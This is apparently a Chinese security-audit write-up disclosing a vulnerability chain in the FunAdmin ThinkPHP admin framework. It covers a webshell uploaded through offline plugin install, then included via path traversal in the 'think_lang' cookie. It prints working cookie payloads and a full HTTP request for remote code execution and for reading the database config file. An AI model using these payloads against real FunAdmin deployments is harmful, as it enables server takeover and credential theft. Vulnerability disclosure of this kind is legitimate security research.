项目介绍
本篇文章为青山师傅代审实战案例分享
项目地址:
https://gitee.com/funadmin/funadmin
https://github.com/funadmin/funadmin
基于thinkphp8.X+Layui2.8.*+requirejs开发权限(RBAC)管理框架,框架中集成了权限管理、模块管理、插件管理、后台支持多主题切换、配置管理、会员管理等常用功能模块,以方便开发者快速构建自己的应用。框架专注于为中小企业提供最佳的行业基础后台框架解决方案,执行效率、扩展性、稳定性值得信赖,操作体验流畅,使用非常优化,欢迎大家使用及进行二次开发。
审计
最新版本程序目录
根据目录介绍得知为thinkphp框架
直接看漏洞点
在文件
app/backend/controller/Addon.php
320-340行
根据注释的还有代码得知此处为离线安装插件功能
关键功能解压缩包 继续跟下去
文件
/vendor/funadmin/fun-addons/src/helper/ZipHelper.php
55-81行 unzip函数 得知插件解压目录为/ addons
没什么异常正常解压
于是把webshell压缩测试上传
发现报错为
app/backend/controller/Addon.php
中的install函数的报错
发现插件解压成功但插件并没安装成功
先是上传上压缩包
然后解压安装并报错
去网站插件根目录/addons查看,上传成功
此处虽然上传成功了但是无法访问到
该系统的根目录要求是/public
webshell在/ addons
直到看到
/app/ backend/controller/Ajax.php
函数lang
其调用了一个loadlang函数 跟随过去
发现可以利用cookie进行文件包含 并且此处是全局调用
cookie名称如下
以前thinkphp貌似就爆出过这个漏洞
复现
全站任何地方使用cookie即可包含我们的shell
Cookie : think_lang=/../../../addons/shell;
也是成功执行我们的phpinfo();
除了rce外,还可以利用此漏洞进行任意文件读取
GET /backend/ajax/lang?controllername= HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Cookie: think_lang=../../../config/database
Host: *****************
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
构造
think_lang=../../../config/database
本篇文章为青山师傅代审实战案例分享
学习安全五年+,三分之二的白帽子,三分之一的科研er,欢迎加入我的知识星球,具体详情扫描了解
原文始发于微信公众号(梅苑安全学术):Funadmin审计0day